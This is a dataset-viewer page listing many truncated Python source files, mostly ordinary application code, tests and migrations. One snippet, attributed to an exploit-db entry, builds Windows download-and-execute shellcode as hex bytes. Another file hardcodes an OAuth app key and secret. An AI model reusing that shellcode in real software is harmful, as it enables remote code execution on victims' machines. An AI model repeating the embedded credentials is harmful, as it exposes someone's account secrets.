content stringlengths 4 20k |
|---|
import appinfo
from . import client, rest, session
import ssl
# i don't really know how to make these secure...
APP_KEY = '29d301e504af323d6246d9c652c227fa'
APP_SECRET = '781bca4d222866e27ac314c2e35565a0'
class OAuthReturnHandler:
def __init__(oself):
oself.httpd_access_token_callback = None
import BaseHTTPS... |
import unittest
from king_phisher import color
from king_phisher import testing
class ColorConversionTests(testing.KingPhisherTestCase):
def test_convert_hex_to_tuple(self):
value = (1.0, 0.5019608, 0.0)
converted = color.convert_hex_to_tuple('#ff8000')
for v, c in zip(value, converted):
self.assertAlmostEq... |
import os
import os.path
import time
import datetime
#+---------------------------------------------------------------------------+
#| Local imports
#+---------------------------------------------------------------------------+
from hooker_common.OSCommand import OSCommand
from hooker_common import Logger
from hooker_... |
import etcd
from tendrl.commons.event import Event
from tendrl.commons.message import ExceptionMessage
from tendrl.commons.utils import log_utils as logger
from tendrl.node_agent.discovery.platform import manager as platform_manager
def sync():
try:
# platform plugins
logger.log(
"deb... |
"""
Utility for cleaning up environment after Tempest run
Runtime Arguments
-----------------
**--init-saved-state**: Before you can execute cleanup you must initialize
the saved state by running it with the **--init-saved-state** flag
(creating ./saved_state.json), which protects your deployment from
cleanup deletin... |
import os
import tempfile
__all__ = ['Pidfile']
class Pidfile(object):
"""\
Manage a PID file. If a specific name is provided
it and '"%s.oldpid" % name' will be used. Otherwise
we create a temp file using os.mkstemp.
"""
def __init__(self, fname=None):
self.fname = fname
self... |
"""General channels module for Zigbee Home Automation."""
import asyncio
from typing import Any, Coroutine, List, Optional
import zigpy.exceptions
import zigpy.zcl.clusters.general as general
from zigpy.zcl.foundation import Status
from homeassistant.core import callback
from homeassistant.helpers.event import async_... |
# -*- coding: utf-8 -*-
"""
Django settings for czatpro project.
Generated by 'django-admin startproject' using Django 1.8.3.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/set... |
import logging
from scap.Model import Model
logger = logging.getLogger(__name__)
class TailoringType(Model):
MODEL_MAP = {
'attributes': {
'id': {'type': 'TailoringIdPattern', 'required': True},
'Id': {'type': 'ID'},
},
'elements': [
{'tag_name': 'benchm... |
"""Adds attraction notifications
Revision ID: 5ae9cea2cd6d
Revises: 24f0928d0772
Create Date: 2017-12-24 02:34:54.262671
"""
# revision identifiers, used by Alembic.
revision = '5ae9cea2cd6d'
down_revision = '24f0928d0772'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
from s... |
bl_info = {
"name": "parametric circle",
"author": "Dealga McArdle",
"version": (0, 1),
"blender": (2, 7, 6),
"category": "3D View"
}
import bpy
import bmesh
import math
from math import sin, cos, pi
def make_geom(props):
r = props.radius
num = props.verts
theta = 2 * pi / num
ve... |
# -*- coding: utf-8 -*-
"""py.test fixtures"""
from __future__ import unicode_literals
from datetime import datetime
import pytest
from kuma.wiki.models import Document, Revision
@pytest.fixture
def simple_user(db, django_user_model):
"""A simple User record with only the basic information."""
return djang... |
import posixpath
import warnings
from collections import defaultdict
from django.apps import apps
from django.contrib.contenttypes.models import ContentType
from django.db.models import CharField, Q
from django.db.models.functions import Length, Substr
from django.db.models.query import BaseIterable
from treebeard.mp... |
from __future__ import print_function
import logging
import random
import mxnet as mx
import numpy as np
from sklearn.datasets import fetch_mldata
from sklearn.decomposition import PCA
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
np.random.seed(1234) # set seed for deterministic ordering
mx.random.s... |
"""Unit tests for `biggus.NumpyArrayAdapter`."""
import unittest
import numpy as np
from numpy.testing import assert_array_equal
from biggus import NumpyArrayAdapter, NewAxesArray
class Test___getitem__(unittest.TestCase):
def test_newaxis(self):
# Check we have the NewAxesArray.handle_newaxis decorato... |
"""empty message
Revision ID: 189ebf4caf69
Revises: None
Create Date: 2016-10-30 20:13:06.453264
"""
# revision identifiers, used by Alembic.
revision = '189ebf4caf69'
down_revision = None
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - please adjust! ###... |
from oslo.config import cfg
from nova.scheduler import filters
isolated_opts = [
cfg.ListOpt('isolated_images',
default=[],
help='Images to run on isolated host'),
cfg.ListOpt('isolated_hosts',
default=[],
help='Host reserved for specific images'... |
from __future__ import absolute_import, unicode_literals
import logging
from mopidy import backend, local, models
logger = logging.getLogger(__name__)
class LocalLibraryProvider(backend.LibraryProvider):
"""Proxy library that delegates work to our active local library."""
root_directory = models.Ref.direc... |
"""
This file contains a base class that implements a POSIX daemon.
"""
import os
import sys
import time
import atexit
import signal
import logging
from mysql.utilities.exception import UtilDaemonError
class Daemon(object):
"""Posix Daemon.
This is a base class for implementing a POSIX daemon.
"""
... |
import sys
import os
import shutil
import tempfile
import pyavroc
json_schema = '''[{"namespace": "example.avro",
"type": "record",
"name": "User",
"fields": [
{"name": "name", "type": "string"},
{"name": "favorite_number", "type": ["int", "null"]},
{"name": "favorite_color", "type": ["string", "nu... |
import nanosite.templates as templates
import nanosite.util as util
import os
from zipfile import ZipFile
import json
from urllib.request import urlopen
from urllib.parse import urljoin
from distutils.version import LooseVersion
DefaultPackageURL = "http://wanganzhou.com/nanosite/packages/"
def set_package_url(url, ... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function
import os
from pelican import readers
from pelican.utils import SafeDatetime
from pelican.tests.support import unittest, get_settings
CUR_DIR = os.path.dirname(__file__)
CONTENT_PATH = os.path.join(CUR_DIR, 'content')
def _path(*args):... |
"""Implementation of the BI-Population CMA-ES algorithm. As presented in
*Hansen, 2009, Benchmarking a BI-Population CMA-ES on the BBOB-2009 Function
Testbed* with the exception of the modifications to the original CMA-ES
parameters mentionned at the end of section 2's first paragraph.
"""
from collections import dequ... |
# coding: utf-8
"""Interface to Diamond."""
import os
import pandas as pd
import tempfile
import anvio
import anvio.utils as utils
import anvio.terminal as terminal
from anvio.errors import ConfigError
__author__ = "Developers of anvi'o (see AUTHORS.txt)"
__copyright__ = "Copyleft 2015-2018, the Meren Lab (http://... |
# -*- coding: utf-8 -*-
"""
Unit tests for bulk-email-related forms.
"""
from nose.plugins.attrib import attr
from bulk_email.models import CourseEmailTemplate, BulkEmailFlag
from bulk_email.forms import CourseAuthorizationAdminForm, CourseEmailTemplateForm
from opaque_keys.edx.locations import SlashSeparatedCourseKe... |
import datetime
from templates.common.templatedict import TemplateDict
import templates.templateCPP.plugins.base.functions.function_utils as utils
INTERFACE_METHOD_STR = """
${ret} ${interface_name}I::${method_name}(${input_params})
{
${to_return}worker->${interface_name}_${method_name}(${param_str});
}
"""
class ... |
import copy
import datetime
from unittest import mock
from freezegun import freeze_time
from rest_framework import test
from waldur_core.core import utils as core_utils
from waldur_mastermind.invoices import models as invoices_models
from waldur_mastermind.invoices import tasks as invoices_tasks
from waldur_mastermin... |
"""Class for evaluating video object detections with COCO metrics."""
import tensorflow.compat.v1 as tf
from object_detection.core import standard_fields
from object_detection.metrics import coco_evaluation
from object_detection.metrics import coco_tools
class CocoEvaluationAllFrames(coco_evaluation.CocoDetectionEv... |
from twisted.plugin import IPlugin
from txircd.module_interface import IMode, IModuleData, Mode, ModuleData
from txircd.utils import ModeType
from zope.interface import implements
class SecretMode(ModuleData, Mode):
implements(IPlugin, IModuleData, IMode)
name = "SecretMode"
core = True
affectedActions = { "disp... |
# -*- coding: latin-1 -*-
import urllib
import re
import sys
import dogcatcher
import HTMLParser
import os
import urllib2
h = HTMLParser.HTMLParser()
cdir = os.path.dirname(os.path.abspath(__file__)) + "/"
voter_state = "UT"
source = "State"
result = [("authority_name", "first_name", "last_name", "county_name", "... |
import os
import sys
import time
import sublime
application_command_classes = []
window_command_classes = []
text_command_classes = []
all_command_classes = [application_command_classes, window_command_classes, text_command_classes]
all_callbacks = {'on_new': [], 'on_clone': [], 'on_load': [], 'on_close': [],
'o... |
# simple, naive, excellent... but perhaps slow!
def addUnique1(baseList, otherList):
for item in otherList:
if item not in baseList:
baseList.append(item)
# may be faster if otherList is large:
def addUnique2(baseList, otherList):
auxDict = {}
for item in baseList:
auxDict[item]... |
import mock
from nailgun.test import base
from nailgun.settings import settings
from nailgun.task import task
class TestSnapshotConf(base.TestCase):
def test_must_have_roles(self):
conf = task.DumpTask.conf()
self.assertIn('local', conf['dump'])
self.assertIn('master', conf['dump'])
... |
"""Test for linux_packages/cmake.py."""
import unittest
from absl.testing import flagsaver
import mock
from perfkitbenchmarker.linux_packages import cmake
from tests import pkb_common_test_case
_CMAKE_VERSION = 'mock123'
def MockVm(os_type):
vm = mock.Mock()
vm.OS_TYPE = os_type
# response to 'cmake --version... |
import re
from os import path
from fabric.api import cd, task, sudo, abort
from braid import info
from braid.utils import fails
pypyURLs = {
'x86_64': 'https://bitbucket.org/pypy/pypy/downloads/pypy-2.2-linux64.tar.bz2',
'x86': 'https://bitbucket.org/pypy/pypy/downloads/pypy-2.2-linux.tar.bz2',
}
pypyDirs... |
import site_general_settings
import datetime
class User(object):
def __init__(self, firstName, lastName, userId, emailAddress):
# Public Information
self.firstName = firstName
self.lastName = lastName
self.userId = userId
self.dateJoined = datetime.datetime.now()
#... |
#Copyright (c) 2014 Sony Computer Entertainment America LLC. See License.txt.
import sys
sys.path.append("./CommonTestScripts")
import System
import Test
import TimelineEditorUtil
#Create a child document that will have 2 tracks
docChild = atfDocService.OpenNewDocument(editor)
group = editingContext.Insert[Group](Do... |
from copperhead import *
import numpy as np
@cu
def cnd(d):
A1 = 0.31938153
A2 = -0.356563782
A3 = 1.781477937
A4 = -1.821255978
A5 = 1.330274429
RSQRT2PI = 0.39894228040143267793994605993438
K = 1.0 / (1.0 + 0.2316419 * abs(d))
cnd = RSQRT2PI * exp(- 0.5 * d * d) * \
(K * (A1... |
"""A couple of point pens which return the glyph as a list of basic values."""
from robofab.pens.pointPen import AbstractPointPen
class DigestPointPen(AbstractPointPen):
"""Calculate a digest of all points
AND coordinates
AND components
in a glyph.
"""
def __init__(self, ignoreSmoothAndName=False):
self... |
__all__ = [
'HelpScoutWebHook',
'WebHookEvent',
]
import hmac
import json
import properties
from base64 import b64encode
from hashlib import sha1
from six import string_types
from ..models import Conversation, Customer, Rating, WebHook, WebHookEvent
from ..exceptions import HelpScoutSecurityException
cla... |
#!/usr/bin/env python
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License");... |
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
class ActionModule(ActionBase):
def run(self, tmp=None, task_vars=dict()):
src = self._task.args.get('src', No... |
import sys, unittest
from JSBSim_utils import CreateFDM, Table, SandBox, ExecuteUntil
class TestGustReset(unittest.TestCase):
def setUp(self):
self.sandbox = SandBox()
def tearDown(self):
self.sandbox.erase()
def test_gust_reset(self):
fdm = CreateFDM(self.sandbox)
fdm.loa... |
"""
Django settings for example project.
Generated by 'django-admin startproject' using Django 1.8.2.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build path... |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
##################################################
# GNU Radio Python Flow Graph
# Title: Uhf View Gui
# Generated: Tue Aug 22 16:35:04 2017
##################################################
if __name__ == '__main__':
import ctypes
import sys
if sys.platform.... |
import re
import os
import shutil
import errno
def cut_it(separator, text):
"""
Cut it
------
Cut text by separator.
"""
if separator:
return re.split(separator, text)
else:
return [separator, text]
def check_ifdef(item, filetext, docstring):
"""
Check the 'ifdef... |
#!/usr/bin/env python
import sys, re, operator, string, os
#
# Two down-to-earth things
#
stops = set(open("../stop_words.txt").read().split(",") + list(string.ascii_lowercase))
def frequencies_imp(word_list):
word_freqs = {}
for w in word_list:
if w in word_freqs:
word_freqs[w] += 1
... |
"""At the time of a "request for approval" submission, register the request in
the WebSubmit "Approvals" DB (sbmAPPROVAL).
"""
__revision__ = "$Id$"
import sre_constants
import os
import cgi
import re
from invenio.legacy.websubmit.db_layer import register_new_approval_request, \
... |
# -*- coding: utf-8 -*-
"""
Test fix of bug described in GitHub Issue #134.
"""
from sure import expect
from six import PY2
def test_issue_132():
"Correctly handle {} characters in matcher string"
def __great_test():
expect('hello%world').should.be.equal('hello%other')
expect(__great_test).whe... |
#!/usr/bin/python
import netCDF4 as nc4
import numpy as np
from datetime import timedelta
from datetime import datetime
import os
import re
def get_indices(mf,lat,lon):
ilat = (np.abs(mf.variables['latitude'][:]-lat)).argmin()
ilon = (np.abs(mf.variables['longitude'][:]-lon)).argmin()
return ilat,ilon
def g... |
import pygame
from game.objects import STATE
class Clickable():
"""docstring for Clickable
TODO: modify to handle clicked vs released
"""
def __init__(self):
self.setState(STATE.NORMAL)
self.location = (0,0)
self.width = 0
self.height = 0
self.onLeftClick = N... |
import sys
import argparse
import tornado.ioloop
import tornado.web
import tornado.ioloop
from zmq.eventloop import ioloop
ioloop.install()
from crypto2crypto import CryptoTransportLayer
from market import Market
from ws import WebSocketHandler
import logging
import signal
import threading
class MainHandler(tornado.w... |
from __future__ import unicode_literals
import pytest
import uuid
from OpenSSL import crypto
def test_generate_keys(user, team_user_id, remoteci_user_id, cakeys):
ctype = crypto.FILETYPE_PEM
rci = user.get('/api/v1/remotecis/%s' % remoteci_user_id).data
keys = user.put('/api/v1/remotecis/%s/keys' % remote... |
# -*- coding: utf-8 -*-
import unittest
import datetime
from pyboleto.bank.bancodobrasil import BoletoBB
from .testutils import BoletoTestCase
class TestBancoBrasil(BoletoTestCase):
def setUp(self):
self.dados = []
for i in range(3):
d = BoletoBB(7, 1)
d.carteira = '18'
... |
import http
import xmlfmt
import yamlfmt
import jsonfmt
from testutils import *
opts = parseOptions()
links = http.HEAD_for_links(opts)
for fmt in [xmlfmt]:
t = TestUtils(opts, fmt)
print "=== ", fmt.MEDIA_TYPE, " ==="
v = None
for d in t.get(links['datacenters']):
v = d.supported_versions[0]
... |
"""
Test WidgetRegistry.
"""
import logging
from operator import attrgetter
import unittest
from ..base import WidgetRegistry
from .. import description
class TestRegistry(unittest.TestCase):
def setUp(self):
logging.basicConfig()
def test_registry_const(self):
reg = WidgetRegistry()
... |
"""
A simple example demonstrating Spark SQL data sources.
Run with:
./bin/spark-submit examples/src/main/python/sql/datasource.py
"""
from __future__ import print_function
from pyspark.sql import SparkSession
# $example on:schema_merging$
from pyspark.sql import Row
# $example off:schema_merging$
def basic_dataso... |
"""Tests for resampler ops."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from tensorflow.compiler.tests import xla_test
from tensorflow.contrib import resampler
from tensorflow.contrib.resampler.ops import gen_resampler_ops
from te... |
"""
Provides functions to build a large network modeling a carrier topology.
This is the target parameter optimization topology for the mapping algorithm.
The topology is based on WP3 - Service Provider Scenario for Optimization.ppt
by Telecom Italia (UNIFY SVN repo)
Parameter names are also based on the .ppt file.
""... |
"""Models for the content of sent emails."""
__author__ = 'Sean Lip'
from core.platform import models
(base_models,) = models.Registry.import_models([models.NAMES.base_model])
import feconf
import utils
from google.appengine.ext import ndb
INTENT_SIGNUP = 'signup'
INTENT_DAILY_BATCH = 'daily_batch'
INTENT_MARKETIN... |
"""
Wrapper class that takes a list of template loaders as an argument and attempts
to load templates from them in order, caching the result.
"""
import hashlib
import warnings
from django.template import Origin, Template, TemplateDoesNotExist
from django.template.backends.django import copy_exception
from django.uti... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Update encrypted deploy password in Travis config file
"""
from __future__ import print_function
import base64
import json
import os
from getpass import getpass
import yaml
from cryptography.hazmat.primitives.serialization import load_pem_public_key
from cryptography.h... |
#!/usr/bin/env python
program_name = "Gridfire"
program_version = "v0.5"
#Gridfire is inspired by gpggrid, a security tool included in
#Tinfoil Hat Linux, intended to resist shoulder-surfing and keylogging.
#For more information on the project, see the README file distributed
#with Gridfire.
#Gridfire is named after... |
from temboo.core.choreography import Choreography
from temboo.core.choreography import InputSet
from temboo.core.choreography import ResultSet
from temboo.core.choreography import ChoreographyExecution
import json
class DeleteBodyWeightLog(Choreography):
def __init__(self, temboo_session):
"""
Cr... |
# -*- encoding: utf-8 -*-
"""
Basic account handling. Most of the openid methods are adapted from the
Flask-OpenID documentation.
"""
from flask import Blueprint, session, redirect, render_template, request,\
flash, g, url_for
import pygraz_website as site
import uuid
import hashlib
from pygraz_website import ... |
"""Class for setting handshake parameters."""
from .constants import CertificateType
from .utils import cryptomath
from .utils import cipherfactory
# RC4 is preferred as faster in Python, works in SSL3, and immune to CBC
# issues such as timing attacks
CIPHER_NAMES = ["rc4", "aes256", "aes128", "3des"]
MAC_NAMES = ["... |
#https://www.exploit-db.com/exploits/39389/
#WORK Tested.
def downANDexecute( payload ):
shellcode = r"\x31\xc9\xb9\x57\x69\x6e\x45\xeb\x04\x31\xc9\xeb\x00\x31\xc0\x31"
shellcode += r"\xdb\x31\xd2\x31\xff\x31\xf6\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f"
shellcode += r"\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x8... |
#import sunburnt
import datetime
#### Settings to be moved to the general settings file
solrconnectionURL = "http://aipanda087.cern.ch:8080/solr/"
filter_types = {
'contains': u'%s',
'startswith': u'%s*',
'exact': u'%s',
'gt': u'{%s TO *}',
'gte': u'[%s TO *]',
'lt': u'{* TO %s}',
'lte': ... |
"""A cryptographically strong version of Python's standard "random" module."""
__all__ = ['StrongRandom', 'getrandbits', 'randrange', 'randint', 'choice', 'shuffle', 'sample']
from Crypto import Random
class StrongRandom(object):
def __init__(self, rng=None, randfunc=None):
if randfunc is None and rng is... |
import guernsey.web.rest as rest
import guernsey.web.model as gwm
#
# Create a model class for cities, inheriting from the Guernsey Model
# class. This class provides a few convenience methods that can be
# useful when dealing with models, such as e.g. a __repr__()
# method. When initialized with a dictionary, it also... |
"""Test the zapwallettxes functionality.
- start three bitcoind nodes
- create four transactions on node 0 - two are confirmed and two are
unconfirmed.
- restart node 1 and verify that both the confirmed and the unconfirmed
transactions are still available.
- restart node 0 and verify that the confirmed transactio... |
import urllib2
import sys
import re
import base64
import json
# XXX WARNING: only a sample; please do NOT hard-code your username
# or passwords in this manner in your API clients
class BuxferInterface:
def __init__(self):
self.base = "https://www.buxfer.com/api"
def buxfer_login(... |
from __future__ import absolute_import, division, print_function
import stripe
TEST_RESOURCE_ID = "prod_123"
class TestProduct(object):
def test_is_listable(self, request_mock):
resources = stripe.Product.list()
request_mock.assert_requested("get", "/v1/products")
assert isinstance(reso... |
#!/usr/bin/env python
"""
test_sysconfig_api.py - Copyright (c) 2011 Red Hat, Inc.
Written by Dave Johnson <<EMAIL>>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version... |
from test_framework import BitcreditTestFramework
from bitcreditrpc.authproxy import AuthServiceProxy, JSONRPCException
from util import *
import os
import shutil
# Create one-input, one-output, no-fee transaction:
class MempoolSpendCoinbaseTest(BitcreditTestFramework):
def setup_network(self):
# Just nee... |
import json
import pytest
import webdriver
def window_size_supported(session):
try:
session.window.size = ("a", "b")
except webdriver.UnsupportedOperationException:
return False
except webdriver.InvalidArgumentException:
return True
def window_position_supported(session):
try:
... |
# install before using
# sudo easy_install simplejson
import simplejson as json
import httplib, urllib
import csv
import sys
import time
import logging
# Params 4 generation
timestamp = 194896800
deltatime = 5
num_calls = 2
data_per_call = 2
# Set to 1 to force HTTPS
SECURE = 0
# Your API Key
f = open('api_toke... |
"""
@author: Andrew Case
@license: GNU General Public License 2.0
@contact: <EMAIL>
@organization:
"""
import volatility.obj as obj
import volatility.plugins.mac.common as common
import volatility.plugins.mac.list_zones as list_zones
import volatility.plugins.mac.pslist as pslist
class mac_dead_vnode... |
#coding: utf-8
''' 升级记录
'''
import sys, os, re
import ConfigParser
import ctypes, struct
import threading, time
import sip
sip.setapi('QString', 2)
from PyQt4 import QtCore, QtGui, uic
import PyQt4.Qwt5 as Qwt
from PyQt4.Qwt5 import QwtPlot
class RingBuffer(object):
def __init__(self, arr):
self.sName, s... |
"""Configure GDB using the ELinOS environment."""
import os
import glob
import gdb
def warn(msg):
print "warning: %s" % msg
def get_elinos_environment():
"""Return the ELinOS environment.
If the ELinOS environment is properly set up, return a dictionary
which contains:
* The path to the ELin... |
import os
from abstract_step import AbstractStep
class Pear(AbstractStep):
def __init__(self, pipeline):
super(Pear, self).__init__(pipeline)
self.add_input_connection('first_read')
self.add_input_connection('second_read')
self.add_output_connection('assembled')
self.add_... |
"""
VM configuration management
"""
import functools
from six import iteritems
from six.moves import StringIO
from six.moves.configparser import ConfigParser, NoSectionError, NoOptionError
from .util import str2int
def bool2option(b):
"""
Get config-file-usable string representation of boolean value.
:param ... |
from tests import requires_twisted
import unittest
try:
from twisted.internet import reactor
from twisted.internet.error import ConnectionDone
import eventlet.twistedutil.protocol as pr
from eventlet.twistedutil.protocols.basic import LineOnlyReceiverTransport
except ImportError:
# stub out some of... |
import unittest
from openerp.tools import misc
class test_countingstream(unittest.TestCase):
def test_empty_stream(self):
s = misc.CountingStream(iter([]))
self.assertEqual(s.index, -1)
self.assertIsNone(next(s, None))
self.assertEqual(s.index, 0)
def test_single(self):
... |
import datetime
from oslo_utils import fixture as utils_fixture
from nova.api.openstack.compute import instance_usage_audit_log as v21_ial
from nova import context
from nova import exception
from nova import test
from nova.tests.unit.api.openstack import fakes
from nova.tests.unit.objects import test_service
servic... |
# coding=utf-8
import json
from django.test import TestCase
from mock import Mock
from silk.model_factory import RequestModelFactory, ResponseModelFactory
DJANGO_META_CONTENT_TYPE = 'CONTENT_TYPE'
HTTP_CONTENT_TYPE = 'Content-Type'
class TestEncodingForRequests(TestCase):
"""
Check that the RequestModelFa... |
from karesansui.lib.const import MACHINE_ATTRIBUTE
from karesansui.db.access import dbsave, dbupdate, dbdelete
from karesansui.db.model.machine2jobgroup import Machine2Jobgroup
from karesansui.db.access._2pysilhouette import jobgroup_findbyuniqkey
# -- all
def findbyall(session):
return session.query(Machine2Jobgr... |
"""QwikSwitch USB Modem threaded library for Python."""
import logging
from queue import Queue
import threading
from time import sleep
import requests
from .qwikswitch import (
QSDevices, QS_CMD, CMD_UPDATE,
URL_DEVICES, URL_LISTEN, URL_SET, URL_VERSION) # pylint: disable=W0614
_LOGGER = logging.getLogger(... |
"""Utilities for interaction with SVN repositories"""
import errno
from os import chdir
from subprocess import check_call as call
from invenio.base.globals import cfg
import tarfile
from tempfile import mkdtemp
from shutil import rmtree
def svn_exists():
"""
Returns True if SVN is installed, else False
... |
#!/bin/env python
""" create and put 'PutAndRegister' request with a single local file
warning: make sure the file you want to put is accessible from DIRAC production hosts,
i.e. put file on network fs (AFS or NFS), otherwise operation will fail!!!
"""
__RCSID__ = "$Id: $"
import os
from DIRAC.Core.Base... |
from sqlalchemy import create_engine
from pg_shards.config import Settings
class Database:
database_engines = {}
def __new__(cls, db_name):
if not cls.database_engines:
cls.init_db_engines()
try:
return cls.database_engines[db_name]
except KeyError:
... |
from pypetri import net, trellis, operators
from .link import *
#############################################################################
#############################################################################
# TODO: can make channel set dynamic?
class Broadcast(net.Network):
r"""Connects a fixed arra... |
import account_move_reverse |
from collections import namedtuple
import datetime
from decimal import Decimal
import logging
from django.utils.translation import ugettext as _
from casexml.apps.case.const import CASE_ACTION_COMMTRACK
from casexml.apps.case.exceptions import IllegalCaseId
from casexml.apps.case.models import CommCareCaseAction
from ... |
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import unittest
import urlparse
from requests import RequestException
from pants.cache.pinger import BestUrlSelector, InvalidRESTfulCacheProtoError, Pinger
from pant... |
# -*- coding: utf-8 -*-
# this file is released under public domain and you can use without limitations
#########################################################################
## This is a samples controller
## - index is the default action of any application
## - user is required for authentication and authorizatio... |
# -*- coding: utf-8 -*-
"""
Test Database
I have analysed 3048 APKs in 2017-1-7.
Some features are already put into database.
This script is used to exam the information in database.
"""
"""
Test db case 1
"""
def case1():
import redis
db3 = redis.StrictRedis(db=3)
db4 = redis.StrictRed... |
import re
import json
from .base import BikeShareSystem, BikeShareStation
from . import utils
__all__ = ['Bikeu', 'BikeuStation']
REGEX = "var mapDataLocations = (\[.*\]);"
class Bikeu(BikeShareSystem):
meta = {
'system': 'Bike U',
'company': 'Bike U Sp. z o.o.'
}
def __init__(self, ta... |
"""The tests for the Updater component."""
import unittest
from unittest.mock import patch
import requests
from homeassistant.components import updater
import homeassistant.util.dt as dt_util
from tests.common import fire_time_changed, get_test_home_assistant
NEW_VERSION = '10000.0'
# We need to use a 'real' lookin... |
"""
Block Structure Transformer Registry implemented using the platform's
PluginManager.
"""
from openedx.core.lib.api.plugins import PluginManager
class TransformerRegistry(PluginManager):
"""
Registry for all of the block structure transformers that have been
made available.
All block structure tra... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.